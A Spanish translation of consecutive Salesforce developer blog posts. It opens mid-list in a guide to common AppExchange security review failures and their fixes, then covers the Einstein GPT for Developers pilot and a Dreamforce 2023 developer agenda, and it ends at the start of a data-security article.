La inyección SOQL es la versión específica de Salesforce de la inyección SQL. Ocurre cuando una entrada no validada proporcionada por el usuario se inserta directamente en una consulta SOQL dinámica. Si la entrada no está validada, puede incluir comandos SOQL que modifican efectivamente la declaración SOQL y engañan a la aplicación para que ejecute comandos no deseados.

¿Cómo puedo abordar esto?

La forma más sencilla de evitar el problema es evitar consultas dinámicas en favor de consultas estáticas y utilizar variables vinculantes. De lo contrario, deberá validar estrictamente las entradas del usuario antes de usarlas en consultas mediante técnicas como encasillamiento, lista blanca de entradas o escape.

Code Analyzer , PMD para VS Code y Checkmarx también pueden ayudarlo a escanear su código.

Para obtener más información, consulte nuestro módulo Trailhead o revise nuestra documentación para desarrolladores .

Para aplicaciones que no son de Salesforce, es posible que desee obtener más información sobre la inyección SQL en la guía OWASP . Los escáneres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , también pueden ayudar a identificar problemas de inyección SQL.

#11 — Lightning: carga CSS inadecuada

¿Qué es esto?

Similar al problema de usar etiquetas <script> o <link> para cargar JavaScript en sus paquetes, usar etiquetas <link> o <style> para cargar CSS en lugar de <apex:stylesheet> (Visualforce) o <ltng:require> ( Aura) se considera una práctica insegura. Estas etiquetas <link> y <style> pueden hacer referencia a recursos externos o en línea que contienen CSS o JavaScript, y la arquitectura de seguridad Lightning Web Security (LWS) de Salesforce no los controla ni los desinfecta.

Para los componentes de Aura, en particular, el uso de <ltng:require> también permite a Salesforce aplicar correctamente las reglas de seguridad LWS y garantizar que el CSS que está cargando esté correctamente aislado y no incluya código o estilos JavaScript no seguros que puedan afectar negativamente a otros. partes de su aplicación Salesforce.

¿Cómo puedo abordar esto?

Para hacer referencia a un recurso CSS externo que haya subido como recurso estático, use una etiqueta <apex:stylesheet> en su página (para Visualforce) o una etiqueta <ltng:require> en su marcado .cmp o .app (para Aura ). Busque el código fuente de su paquete para asegurarse de que no haya utilizado etiquetas <link> o <style> en ningún lugar para cargar recursos CSS.

Nota: Si tiene una LWC, no puede encontrarse con este problema de todos modos porque, al igual que las etiquetas <script> , las etiquetas <style> ya están bloqueadas para su uso dentro de las plantillas HTML. En su lugar, incluiría su CSS en el archivo CSS asociado de su componente o usaría la función loadStyle para cargar un archivo CSS de recursos estáticos.

Puede encontrar más información en nuestra documentación para desarrolladores .

#12: JavaScript en Salesforce DOM (solo experiencia clásica)

¿Qué es esto?

Salesforce tiene reglas estrictas sobre el uso de JavaScript y una de esas reglas es que JavaScript no se puede ejecutar directamente dentro del contexto de la aplicación Salesforce. Esto significa que no puede incluir bloques de JavaScript directamente dentro de los componentes que se ejecutan en Salesforce DOM, como HomePageComponents, WebLinks, Custom Buttons, etc.

En cambio, todo JavaScript debe residir bajo el dominio de espacio de nombres de su aplicación en las páginas de Visualforce que usted controla, de modo que el JavaScript personalizado esté esencialmente aislado del DOM principal de Salesforce. Eso significa que no puede usar JavaScript para crear botones personalizados, pestañas web, componentes de página de inicio y elementos similares (por ejemplo, incluir controladores de eventos de JavaScript onclick en botones personalizados podría ser motivo de falla).

¿Cómo puedo abordar esto?

Esto es algo que deberá verificar manualmente en el código fuente de su paquete Salesforce. Verifique y asegúrese de que no haya utilizado JavaScript para crear botones personalizados, pestañas web, componentes de la página de inicio u otros elementos similares, y verifique que cualquier JavaScript personalizado esté incluido solo en el dominio de su aplicación con espacio de nombres en las páginas de VisualForce que controla como parte de su aplicación.

Una forma de verificar esto es buscar el texto <openType>onClickJavaScript</openType> en los archivos de metadatos de la aplicación (a menudo en archivos XML como weblink/something.weblink) y, si lo encuentra, asegúrese de eliminarlo. Incluso si su aplicación solo está destinada a usarse en Lightning Experience, si la vulnerabilidad está presente para los usuarios en modo Clásico, el paquete no se puede aprobar.

Esta regla en particular no está especialmente bien documentada, pero puede leer más en el documento Lista de verificación de revisión de seguridad de AppExchange (se requiere iniciar sesión en la comunidad de socios).

#13 — Divulgación de información en páginas de error y excepciones

¿Qué es esto?

En el contexto de la revisión de seguridad de AppExchange, este término se refiere específicamente a situaciones (generalmente en aplicaciones o servicios web que no son de Salesforce o fuera de plataforma) donde sus páginas de error muestran datos confidenciales del sistema o información de depuración. Por ejemplo, a veces las páginas de error incluyen seguimientos de pila completos que muestran cómo se hace referencia internamente a los objetos o rutas de archivo relativas al lugar donde está instalada la aplicación. A veces, incluso la información confidencial queda expuesta de esta manera.

¿Cómo puedo abordar esto?

Busque en su base de código llamadas que causen excepciones o que los seguimientos de pila se representen en cadenas o flujos de salida, y realice pruebas que puedan causar errores, como entradas no válidas, entradas vacías, entradas demasiado largas, acceso a páginas internas sin autenticación, omisión de aplicaciones. flujo, etc

La herramienta de fuzzing de Burp Suite puede ser una gran ayuda en este caso.

También puede obtener excelentes consejos para realizar pruebas de seguimiento de pila a través de esta guía de OWASP .

#14 — Componentes de Aura: componente externo de CSS

¿Qué es esto?

Se supone que los componentes de Aura son pequeños, autónomos, reutilizables y reposicionables. CSS que evita la encapsulación de componentes (a través de .THIS) o que utiliza un posicionamiento no estándar (por ejemplo, flotante o posición: absoluta o fija) infringe estas garantías y puede interferir con la visualización de otros componentes. En particular, el uso del posicionamiento absoluto en CSS es la razón principal de este tipo de falla.

Si bien esto puede no parecer un problema de seguridad a primera vista, puede alterar el diseño del sitio web de Salesforce y viola el espíritu del modelo de seguridad de Lightning, donde los componentes están estrictamente aislados y se garantiza que permanecerán en su propio carril.

¿Cómo puedo abordar esto?

Este es otro problema que debes verificar manualmente. Básicamente, busque en el CSS de su componente Aura, especialmente para posicionamiento absoluto/fijo o ancho y alto fijos. También recomendamos revisar nuestra documentación para asegurarse de que está siguiendo todas las reglas CSS correctas.

#15 — Canal de mensajes expuesto

¿Qué es esto?

Este término se refiere específicamente a los casos en los que no ha configurado el indicador isExposed en Lightning Message Channel en falso. Dado que esto proporciona acceso a la API del Servicio de mensajes Lightning (LMS), que le permite publicar y suscribirse a mensajes en todo el DOM y entre Aura, Visualforce y Lightning Web Components, debe establecerse en falso a menos que sea realmente necesario.

¿Cómo puedo abordar esto?

Tiene dos opciones, según su caso de uso, que incluyen:

  1. Registre un ticket de soporte para solicitar que se habilite la eliminación de componentes administrados para su paquete u organización de Dev Hub y elimine el componente del paquete. Si no puede hacerlo (por ejemplo, si esto afectaría la funcionalidad de los suscriptores que dependen de canales de mensajes expuestos), puede dejar el componente en el paquete y simplemente no usarlo (asegúrese de mencionar esto específicamente en un mensaje falso). documento positivo sobre su presentación).
  2. Si tiene que utilizar un componente de canal LMS, asegúrese de tener isExposed=false . Esto debe hacerse creando un nuevo componente de canal LMS porque los componentes existentes con isExposed=true no pueden cambiar isExposed=false . Utilice únicamente el componente recién creado en el código.

Más información está disponible en la documentación .

#16 – Información confidencial en URL

¿Qué es esto?

Esto se refiere a una situación en la que se envía información confidencial de larga duración en URL (por ejemplo, un ID o secreto de cliente, o un nombre de usuario/contraseña). En realidad, esto puede llevar a que se filtren secretos a largo plazo de varias maneras posibles. Por ejemplo:

  • Las URL completas a menudo se almacenan en servidores en registros de texto sin cifrar que pueden no almacenarse de forma segura y pueden ser vistos por el personal o comprometidos por un tercero.
  • Los motores de búsqueda indexan URL y almacenan inadvertidamente información confidencial
  • Almacenamiento de rutas URL completas en el historial del navegador local, caché del navegador, marcadores y marcadores sincronizados entre dispositivos
  • Información de URL enviada a aplicaciones web de terceros a través del encabezado de referencia o expuesta a scripts de terceros en la página

¿Cómo puedo abordar esto?

Burp Suite puede ayudarle aquí para aplicaciones web que no sean de Salesforce o fuera de plataforma, pero en general recomendamos comprobar manualmente su aplicación para detectar cualquier caso en el que se envíen secretos a largo plazo a través de URL. Dependiendo de su caso de uso, es posible que deba realizar cambios, como usar solicitudes POST en lugar de solicitudes GET, cambiar su método de autenticación (OAuth 2.0 es generalmente ideal) y emplear cifrado y mejores métodos de almacenamiento de secretos.

La guía OWASP es un gran recurso a seguir.

#17 – Punto final inseguro

¿Qué es esto?

El nombre de esta vulnerabilidad simplemente se refiere a situaciones en las que se utiliza HTTP en lugar de HTTPS.

¿Cómo puedo abordar esto?

Las herramientas de escaneo pueden ser de ayuda, pero una forma aún más segura de verificar esto es buscar en el código fuente enlaces HTTP y cambiarlos a HTTPS. Puede aprender un poco más sobre cómo esto mejora la seguridad en esta página de OWASP .

#18 — Enumeración de nombre de usuario o correo electrónico

¿Qué es esto?

Por lo general, este problema solo surge en aplicaciones web externas fuera de la plataforma Salesforce. Se refiere a una situación en la que los atacantes pueden enumerar listas de nombres de usuario o correos electrónicos de su base de usuarios, generalmente analizando cambios en mensajes de error en funciones de inicio de sesión, funciones de olvido de contraseña o registros de cuentas. Los atacantes suelen hacer esto para poder comprobar si hay contraseñas reutilizadas de bases de datos comprometidas y fugas o volcados de contraseñas.

¿Cómo puedo abordar esto?

Verifique sus mensajes de error para registros de cuentas, recuperación de contraseñas, intentos de inicio de sesión, etc., y asegúrese de que su mensaje de error sea el mismo independientemente de si el nombre de usuario o el correo electrónico ingresado es válido.

Por ejemplo, muchos sitios incluyen un mensaje genérico, como: "Si dicho usuario existe, recibirá un correo electrónico con un restablecimiento de contraseña". Este tipo de mensaje general evita confirmar la existencia de un nombre de usuario o correo electrónico.

Por supuesto, en determinadas situaciones, puede ser inevitable (por ejemplo, durante el registro de una cuenta, es posible que deba confirmar que se ha utilizado un nombre de usuario). En esas situaciones, intente implementar controles que impidan la enumeración por fuerza bruta, como captchas para evitar que los robots eliminen su formulario de registro.

Burp Suite es una excelente herramienta para verificar esto, pero si no la tiene, también puede revisar sus funcionalidades de inicio de sesión manualmente.

OWASP tiene una guía útil para evitar la enumeración de correos electrónicos y nombres de usuarios.

#19 — Gestión de contraseñas

¿Qué es esto?

En ocasiones, el equipo de seguridad falla en sitios y aplicaciones web externos (que no sean Salesforce) por tener políticas de contraseñas problemáticas, como por ejemplo:

  • Permitir la reutilización de la misma contraseña cuando es necesario restablecerla
  • No solicitar la contraseña anterior cuando se permite a los usuarios establecer una nueva contraseña
  • Para restablecer la contraseña, enviar una contraseña temporal al correo electrónico de un usuario en texto sin formato
  • Dejar contraseñas predeterminadas en los usuarios raíz del servidor o de la base de datos

¿Cómo puedo abordar esto?

Además de evitar las situaciones anteriores, consulte la Hoja de referencia de autenticación de OWASP para obtener algunas pautas sobre cómo establecer políticas de contraseñas seguras:

Burp Suite también es muy útil para identificar problemas relacionados con las contraseñas (por ejemplo, puede usarlo para intentar forzar sus páginas de inicio de sesión).

#20 – Eco de contraseña

¿Qué es esto?

Esto es un poco diferente del problema de administración de contraseñas descrito anteriormente. Un eco de contraseña se refiere a situaciones en las que las contraseñas se reflejan en texto sin formato en la interfaz de usuario (como cuando el usuario visita su propia página de configuración) o en llamadas API/respuestas JSON.

¿Cómo puedo abordar esto?

Asegúrese de que su contraseña no se revele ni se transmita en texto sin formato en ninguna parte de su aplicación. Asegúrese de que en las páginas de configuración u otras páginas que muestran secretos, se muestren solo como asteriscos (se pueden mostrar al hacer clic en el botón si es necesario).

Consulte la hoja de referencia sobre almacenamiento de contraseñas de OWASP para obtener más información.

Burp Suite , o quizás Chimera u OWASP ZAP , también pueden ayudarle a detectar estos problemas.

Recursos adicionales

Si su solución incluye sitios web o aplicaciones web personalizados que no son de Salesforce, le recomendamos encarecidamente invertir en una licencia de Burp Suite si es financieramente viable para su organización. Burp Suite es una de las mejores herramientas de seguridad del mercado y también la utiliza mucho nuestro propio equipo de seguridad de productos. Chimera u OWASP ZAP son alternativas completamente gratuitas, pero prepárate para invertir más tiempo en términos de revisión manual, ya que carecen de muchas de las potentes funciones/herramientas que tiene Burp Suite.

Nota: Si su oferta se integra con aplicaciones o servicios web que no son de su propiedad, no intente escanear los puntos finales hasta que haya obtenido el permiso del propietario.

Salesforce Product Security también utiliza Code Analyzer , PMD para VS Code y Checkmarx para revisar el código fuente del paquete Salesforce. También utilizan la base de datos CVE y el escáner Qualys SSL en la mayoría de los envíos.

Si tiene problemas de seguridad y necesita orientación técnica, los socios ISV pueden registrarse para obtener horas de oficina gratuitas con nuestros ingenieros de seguridad a través del Portal de seguridad para socios .

Por último, no podemos recomendar lo suficiente Trailhead en términos de preparación para revisiones de seguridad. Vale la pena dedicar tiempo a la ruta Desarrollar aplicaciones web seguras y también acabamos de renovar el módulo Revisión de seguridad de AppExchange , que analiza el proceso de envío de un extremo a otro.

Sobre el Autor

Anika Teppo es evangelista técnica en Salesforce. Ha estado trabajando con el equipo de revisión de seguridad de AppExchange en Salesforce desde 2017, y su función actual consiste en hacer que Salesforce Labs y las soluciones internas se revisen y publiquen en AppExchange.

Obtenga las últimas publicaciones de blog y episodios de podcasts para desarrolladores de Salesforce a través de Slack o RSS.

Añadir a holgura Suscríbete a RSS

Seguir leyendo

Einstein GPT para desarrolladores: ahora en versión piloto ☁️

Einstein GPT para desarrolladores: ahora en versión piloto ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Einstein GPT para desarrolladores: ahora en fase piloto | Blog de desarrolladores de Salesforce

La IA generativa es una tecnología transformadora que aumenta la productividad de los desarrolladores, acelera el desarrollo de aplicaciones de software y reduce la barrera para que cualquiera aprenda a programar. En el TrailblazerDX de este año, anunciamos Einstein GPT para desarrolladores , la solución de inteligencia artificial generativa de Salesforce que libera la productividad de los desarrolladores y les permite desarrollar Salesforce más rápido . Hoy, estamos encantados de anunciar que Einstein GPT para desarrolladores ahora está en piloto cerrado.

Creado específicamente para lenguajes y marcos de Salesforce, Einstein GPT para desarrolladores puede generar código Apex utilizando lenguaje natural. El soporte para LWC llegará pronto. Nuestro objetivo es que esté disponible en Beta abierta en Dreamforce 23 , para que todos puedan tener acceso a la herramienta. En este blog, exploraremos cómo comenzar con Einstein GPT para el desarrollo de Apex y cómo su potencial puede revolucionar su proceso de desarrollo.

Einstein GPT para desarrolladores frente a otras herramientas de codificación de IA

Las herramientas de codificación de IA generativa disponibles en la actualidad se entrenan principalmente en lenguajes públicos, como Java, Python y otros, así como en código disponible públicamente. Dado que los lenguajes específicos de Salesforce, como Apex y LWC, son propietarios, estas herramientas a menudo carecen de la capacitación necesaria para brindar recomendaciones precisas.

Además, las herramientas de codificación de IA son tan poderosas como el contexto que se les proporciona. Dado que estas herramientas de codificación públicas carecen del contexto de Salesforce de su organización, como los metadatos, las recomendaciones pueden ser inexactas o insuficientes para satisfacer sus necesidades. Por último, el uso de herramientas de inteligencia artificial disponibles públicamente expone su código privado más allá del límite de confianza de Salesforce y podría hacerlo público, una posible vulnerabilidad de seguridad.

Con Einstein GPT para desarrolladores, utilizamos CodeGen , nuestro propio modelo de código abierto para la síntesis de programas. Hospedamos CodeGen dentro del límite de confianza de Salesforce y lo hemos capacitado en lenguajes específicos de Salesforce como Apex y LWC. Con una base dinámica incorporada al proceso de generación de código, Einstein GPT enriquece sus recomendaciones utilizando sus metadatos y código. Nuestra capa de confianza de IA dentro de Einstein GPT garantiza que sus datos y código permanezcan seguros dentro de Salesforce y nunca se almacenen externamente.

Comience con Einstein GPT para desarrolladores

Einstein GPT para desarrolladores se encuentra actualmente en una fase piloto cerrada. Nuestro plan es que esté disponible en Open Beta para Dreamforce 2023. Una vez que su organización esté habilitada para esta herramienta, puede instalar la extensión Einstein GPT en su VS Code Desktop usando un archivo VSIX compartido. Einstein GPT también estará disponible en Code Builder , nuestro IDE basado en web, que se espera que esté disponible de forma general en octubre. ¡Estén atentos a las actualizaciones!

Para utilizar la herramienta Einstein GPT para desarrolladores de forma eficaz:

  1. Abra su VS Code, vaya a Archivo > Abrir carpeta en el menú y abra un proyecto de Salesforce DX existente o configure un nuevo proyecto.
  2. Para trabajar con Einstein GPT para desarrolladores, ejecute el comando SFDX: Autorizar una organización para conectarse a una organización sandbox o a una organización borrador de Salesforce. Podrá utilizar Einstein GPT para desarrolladores dentro de este entorno.

Si está utilizando organizaciones borrador, active Einstein GPT para desarrolladores habilitando la función adicional de organización borrador. Simplemente edite y guarde el archivo config/project-scratch-def.json en su proyecto DX y agregue la función EinsteinGPTForDevelopers a su lista de funciones existente.

Por ejemplo:

Finalmente, puede comenzar a generar código Apex escribiendo un mensaje mediante el comando Paleta de comandos: SFDX: generar código con Einstein GPT (ver captura de pantalla a continuación) . Tenga en cuenta que debe estar dentro de un archivo Apex ( .cls ) para que aparezca el comando.

A continuación se muestra un mensaje de ejemplo:

Quiero crear una clase de Apex. Llamémoslo OpportunityQuerySelector. Cree un método llamado getSumOfOpportunityRecords que recupere la cantidad de registros de oportunidades vinculados a un registro de cuenta específico. El método debe aceptar accountId como parámetro. Siga las mejores prácticas de seguridad y asegúrese de que el código se ejecute en el modo de usuario.

Y luego el resultado se muestra a continuación.

Si bien el código generado anteriormente no requirió muchas ediciones, es posible que necesite personalizar la salida generada por Einstein GPT según sus necesidades durante el desarrollo. El panel Einstein GPT: Historial y comentarios dentro del IDE le permite compartir comentarios sobre el resultado generado. ¡Estos comentarios son imprescindibles para ayudarnos a capacitar a nuestro LLM y mejorar su resultado! Estamos emocionados de escuchar sus comentarios.

Transformando el proceso de desarrollo

Recién estamos comenzando con la IA generativa para transformar su flujo de trabajo de desarrollo. Mira lo que viene pronto:

  • Compatibilidad con Lightning Web Component (LWC): genere código LWC basado en el procesamiento del lenguaje natural (NLP)
  • Finalización predictiva de código en línea: complete automáticamente la siguiente línea de código sugerida con metadatos contextuales del proyecto.
  • Verificación del rendimiento del código: escanee el código Apex y corrija errores de tiempo de ejecución durante el proceso de desarrollo
  • Asistencia conversacional: Pídale a Einstein que genere código contextual y documentación, explique el código o resuelva problemas complejos.

Conclusión

A medida que Einstein GPT para desarrolladores amplíe sus capacidades para admitir LWC, proporcionar finalización de código inteligente y brindar asistencia conversacional, podrá desarrollar la plataforma Salesforce más rápido que nunca. Nuestro objetivo es que esté disponible en Beta abierta en Dreamforce 2023 , para que todos puedan tener acceso a la herramienta. ¡Únase a nosotros en Dreamforce '23 para jugar y profundizar en Einstein GPT para desarrolladores!

Recursos adicionales

Sobre el Autor

Mohith Shrivastava es desarrollador defensor en Salesforce con una década de experiencia en la creación de productos a escala empresarial en la plataforma Salesforce. Mohith se encuentra actualmente entre los principales contribuyentes de Salesforce Stack Exchange, un foro de desarrolladores donde los desarrolladores de Salesforce pueden hacer preguntas y compartir conocimientos. Puedes seguirlo a través de LinkedIn .

Obtenga las últimas publicaciones de blog y episodios de podcasts para desarrolladores de Salesforce a través de Slack o RSS.

Añadir a holgura Suscríbete a RSS

Seguir leyendo

La guía para desarrolladores de Salesforce para Dreamforce 2023 ☁️

La guía para desarrolladores de Salesforce para Dreamforce 2023 ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

La guía del desarrollador de Salesforce para Dreamforce 2023 | Blog de desarrolladores de Salesforce

¡Llamando a todos los desarrolladores de Salesforce! ¿Estás listo para experimentar la magia de AI + Datos + CRM en Dreamforce 2023? Hemos preparado una experiencia repleta de tres días como ninguna otra, así que prepárate para aprender, conectarte, divertirte y retribuir rodeado de compañeros innovadores en la conferencia de tecnología más grande del mundo.

Sabemos que está contando ansiosamente los días hasta que comience Dreamforce, así que siga leyendo para comenzar a planificar su experiencia Dreamforce perfecta, desde conferencias magistrales hasta sesiones en Developer Track y demostraciones prácticas en acción en Developer Grove.

Vea la última tecnología en la conferencia magistral sobre el futuro del desarrollo

AI + Data + CRM están cambiando rápidamente el futuro de los negocios y los desarrolladores están a la vanguardia. Únase al presidente y director de ingeniería, Srini Tallapragada, y a invitados especiales para aprender todo sobre el futuro del desarrollo y cómo puede aprovechar la IA en su trabajo.

Si asistirá a Dreamforce en persona, asegúrese de agregar la conferencia magistral a su agenda . Si lo seguirá desde casa, vea la conferencia magistral completa mientras se transmite en vivo en Salesforce+ .

📅 Marque sus calendarios: jueves 14 de septiembre, de 1:30 a 2:20 p. m., hora del Pacífico
🎤 Oradores destacados: Srini Tallapragada, Alba Rivas, Adam White, Kat Holmes, Chris Peterson, Avanthika Ramesh
Añadir a tu agenda

Descubra los aspectos más destacados de la versión para desarrolladores en Developer Preview Live

Eche un primer vistazo a las principales funciones, herramientas e innovaciones para desarrolladores de la versión Winter '24. Vea demostraciones en vivo de interesantes innovaciones de productos y haga preguntas a nuestros expertos en productos. Hay tantas innovaciones nuevas para los desarrolladores en esta versión que ¡no querrás perderte esto!

📅 Marque sus calendarios: jueves 14 de septiembre, de 2:30 a 3:30 p. m., hora del Pacífico
🎤 Oradores destacados: Aditya Naag Topalli, Mohith Shrivastava, Ewald Hofman, Danielle Larregui, Greg Whitworth, Akshata Sawant, Sarah Welker
Añadir a tu agenda

Mejora tus habilidades en la ruta de desarrollador

Developer Track ofrece una combinación de sesiones de teatro de 20 minutos en Developer Theatre y sesiones de trabajo de 40 minutos. Espere asimilar las mejores prácticas, consejos y mucha inspiración. ¡Y hay algo para todos, sin importar los temas que te apasionen! Tenemos sesiones para todos los niveles (principiante, intermedio, avanzado) en todas las funciones y temas: IA generativa, nube de datos, DevOps Center, MuleSoft, Code Builder, Apex, AppExchange, Lightning Web Components, Slack, seguridad, accesibilidad y más.

📍 Las sesiones de calentamiento se ubicarán en todo Trailblazer Forest: en Developer Theatre junto a Developer Grove, Redwood Theatre, Einstein Theatre, Data Cloud Theatre y Olympic Theatre. Las sesiones de trabajo de Developer Track se llevarán a cabo en el segundo y tercer piso de Moscone West. Asegúrese de consultar su agenda para conocer la ubicación exacta de las habitaciones.

Para encontrar estas sesiones en el catálogo de sesiones de Dreamforce , seleccione Función en la navegación izquierda y marque Desarrollador para ver todas las sesiones etiquetadas para desarrolladores.

Algunas sesiones imperdibles para agregar a tu agenda ✏️

Descubra el poder de Einstein GPT para desarrolladores
Qué esperar: La IA generativa ha arrasado en el mundo de la tecnología. Conozca las capacidades más recientes de Einstein GPT y cómo los desarrolladores pueden utilizar la tecnología para crear sus propias aplicaciones impulsadas por IA en Salesforce.
Oradores destacados: Stephan Chandler-García, Ananya Jha
Añade esta sesión a tu agenda

Comprensión de la nube de datos para desarrolladores de Salesforce
Qué esperar: aprenda qué significa Data Cloud para los desarrolladores, cómo se exponen sus artefactos como metadatos de plataforma familiares y cómo ingerir e interactuar con sus datos mediante SQL, Apex, Flows, API y SDK.
Oradores destacados: Aditya Naag Topalli, Danielle Larregui
Añade esta sesión a tu agenda

¿Quieres un mejor código? Einstein GPT y Code Analyzer pueden ayudar
Qué esperar: Impulse el desarrollo de Salesforce con el dúo dinámico de Einstein GPT para desarrolladores y Code Analyzer. Aprenda cómo optimizar la generación y validación de código directamente desde las experiencias IDE.
Oradores destacados: Gordon Bockus, Vivek Chawla
Añade esta sesión a tu agenda

Componentes web Lightning: novedades y novedades
Qué esperar: aprenda cómo puede utilizar Lightning Web Components para hacer que el desarrollo en Salesforce sea más fácil y eficiente. Vea las últimas funciones disponibles para LWC y lo que se avecina en la hoja de ruta.
Oradores destacados: Alicia Teo, Alice Oh, Leo Balter
Añade esta sesión a tu agenda

Hoja de ruta de Apex: novedades y novedades
Qué esperar: Los gerentes de producto de Salesforce profundizarán en las funciones lanzadas recientemente y en el futuro en la hoja de ruta de Apex, incluido Einstein GPT para desarrolladores.
Oradores destacados: Daniel Ballinger, Chris Peterson
Añade esta sesión a tu agenda

Aumente la productividad de los desarrolladores con GraphQL e IA generativa
Qué esperar: Sumérgete en la nueva API GraphQL, donde las consultas y mutaciones se pueden combinar en una sola solicitud, ganando rendimiento y flexibilidad. Eche un vistazo a cómo redactar consultas con IA generativa.
Oradores destacados: Julián Duque, Ben Sklar
Añade esta sesión a tu agenda

Desarrollar componentes web Lightning para dispositivos móviles sin conexión
Qué esperar: ¿ Usuarios móviles sin conexión? Aprenda cómo habilitarlos con componentes web Lightning personalizados para mostrar e incluso actualizar registros mientras un dispositivo móvil está desconectado de Internet.
Oradora destacada: Angela Le
Añade esta sesión a tu agenda

Gestionar dependencias y conflictos en el Centro DevOps
Qué esperar: profundice en cómo los desarrolladores utilizan DevOps Center para gestionar el ciclo de vida del desarrollo de software. Comience con DevOps Center y aprenda a solucionar los problemas más comunes, como la resolución de conflictos.
Oradores destacados: Gilson Canario, Francisco Sammartino
Añade esta sesión a tu agenda

Cinco cosas que los desarrolladores de Salesforce deben saber sobre MuleSoft
Qué esperar: Únase a esta sesión para conocer los conceptos clave de MuleSoft que necesita saber como desarrollador de Salesforce. Nos centraremos en las mejores prácticas, consejos y trucos, antipatrones y más con ejemplos en vivo.
Oradores destacados: Gaurav Kheterpal, Akshata Sawant
Añade esta sesión a tu agenda

Pon a prueba tus habilidades en Developer Grove

Developer Grove, ubicado en Trailhead Forest, es el hogar de los desarrolladores durante Dreamforce y el lugar para comenzar su viaje de aprendizaje de tres días .

Nuestra principal atracción este año es una competencia estilo arcade que pone a prueba tus habilidades de ingeniería en IA. ¡Completa tantos desafíos como puedas en el menor tiempo posible para que tu nombre aparezca en la tabla de clasificación y puedas presumir de ello!

Visite la estación de demostración que cubre nuestras aplicaciones de muestra y recetas de código, y descubra cómo puede utilizarlas en su propio trabajo. Cada estación contará con empleados de Salesforce que saben lo que hacen y les encanta ayudar a otros a aprender.

❗Novedad de este año: Estación de consultas 1:1 en Developer Grove. Los desarrolladores de Salesforce pueden registrarse para una consulta individual de 20 minutos con profesionales expertos de Salesforce. Para reservar una consulta individual, visite esta página y seleccione el tema "Desarrollador de Salesforce". Cuando haya terminado de registrarse, se le enviará una confirmación por correo electrónico y estará disponible en la aplicación Salesforce Events; descárguela ahora en App Store o Google Play Store .

Otras cosas a tener en cuenta 👀

Conferencia principal de Dreamforce

Únase al director ejecutivo de Salesforce, Marc Benioff, junto con invitados especiales en el discurso principal de Dreamforce para escuchar todo sobre nuestras innovaciones más recientes.

📅 Marque sus calendarios: martes 12 de septiembre, de 10 a. m. a 12 p. m., hora del Pacífico
Añade la keynote a tu agenda

Fiel al foro principal de clientes

Únase al cofundador y director de tecnología Parker Harris en el foro anual de clientes True to the Core. Escuche a los líderes de productos compartir los aspectos más destacados de nuestra hoja de ruta de productos. Si nunca ha asistido, esta es una excelente sesión para que los desarrolladores pregunten y escuchen las respuestas de nuestros gerentes de producto. ¡Una cosa que seguirá siendo “central” en True to the Core es que habrá muchas preguntas!

📅 Marque sus calendarios: jueves 14 de septiembre, de 11:30 a. m. a 12:30 p. m., hora del Pacífico
Añade esta sesión a tu agenda

Conferencia magistral de TI: cree su cliente 360 con IA confiable

Aprenda cómo resolver sus desafíos de TI más difíciles con IA + Datos + CRM. Escuche cómo los pioneros utilizan las últimas innovaciones de plataforma, nube de datos y MuleSoft para crear entornos de TI de próxima generación, con potentes capacidades de IA generativa integradas.

📅 Marque sus calendarios: martes 12 de septiembre, de 2:30 a 3:20 p. m., hora del Pacífico
Añade esta sesión a tu agenda

Celebración pionera de la noche 1

Recuperaremos la diversión la primera noche de Dreamforce. Únase a nosotros en Trailblazer Forest de 5 a 6:30 p. m. el martes 12 de septiembre en Admin Meadow, Developer Grove y Community Cove para actividades sociales, comidas ligeras y bebidas.

Pistas de administrador y arquitecto

¿Busca diversificar su agenda en Dreamforce este año? Consulte todas las sesiones de código y de código bajo en la sección de administración y en la sección de arquitecto . Para obtener más información sobre cada uno, lea la Guía del administrador de Dreamforce 2023 .

Obtenga aún más contenido de Dreamforce 2023 en Salesforce+

¿No puedes asistir a Dreamforce en persona? Durante los tres días, las conferencias magistrales y las sesiones seleccionadas se transmitirán en vivo en Salesforce+. Habrá dos canales y 72 horas de transmisión en vivo. Además de la experiencia en vivo, más de 120 episodios bajo demanda estarán disponibles para verlos después de que finalice Dreamforce en cualquier momento y lugar.

Regístrese en Salesforce+ ahora para obtener acceso a todo el contenido exclusivo.

Empieza ahora

¡Dreamforce 2023 estará aquí antes de que te des cuenta! Siga estos pasos para prepararse:

  1. Regístrese para asistir a Dreamforce si aún no lo ha hecho.
  2. Agregue el discurso de apertura sobre el futuro del desarrollo y la vista previa de la versión para desarrolladores a su agenda.
  3. Complete Road to Dreamforce 2023 Trailhead Quest antes de las 11:59 p. m. (hora del Pacífico) del 11 de septiembre de 2023 para desbloquear una insignia comunitaria exclusiva y participar para tener la oportunidad de ganar* una de las 25 codiciadas sudaderas con capucha Trailblazer o una de las 50 camisetas Dreamforce.* Se aplican las reglas oficiales . Consulte la página Trailhead Quests para obtener todos los detalles.
  4. Descargue la aplicación Salesforce Events en App Store o Google Play Store para realizar un seguimiento de todo lo que hay en su agenda en un lugar de fácil acceso.
  5. Conéctese con sus pares en el grupo comunitario Salesforce Developers Trailblazer.
  6. Si no asiste en persona, asegúrese de registrarse para la experiencia Salesforce+.
  7. Seguir @salesforcedevs en Twitter y LinkedIn para obtener más actualizaciones.

Sobre el Autor

Kaitlin Benz es especialista sénior en marketing de desarrolladores en Salesforce. Lo que más le apasiona es la narración de historias, los podcasts y la comida vegana. Encuéntrala en LinkedIn .

Obtenga las últimas publicaciones de blog y episodios de podcasts para desarrolladores de Salesforce a través de Slack o RSS.

Añadir a holgura Suscríbete a RSS

Seguir leyendo

Cómo mantener la seguridad en los flujos de trabajo de recopilación de datos de Salesforce

Cómo mantener la seguridad en los flujos de trabajo de recopilación de datos de Salesforce

Última actualización el 18 de agosto de 2023 por Rakesh Gupta

La seguridad de los datos debe ser una de sus principales prioridades si recopila, almacena y administra información personal. La protección de datos es especialmente importante si sus flujos de trabajo de recopilación de datos de Salesforce se integran con varias herramientas, como un generador de formularios web o un sistema de pago.

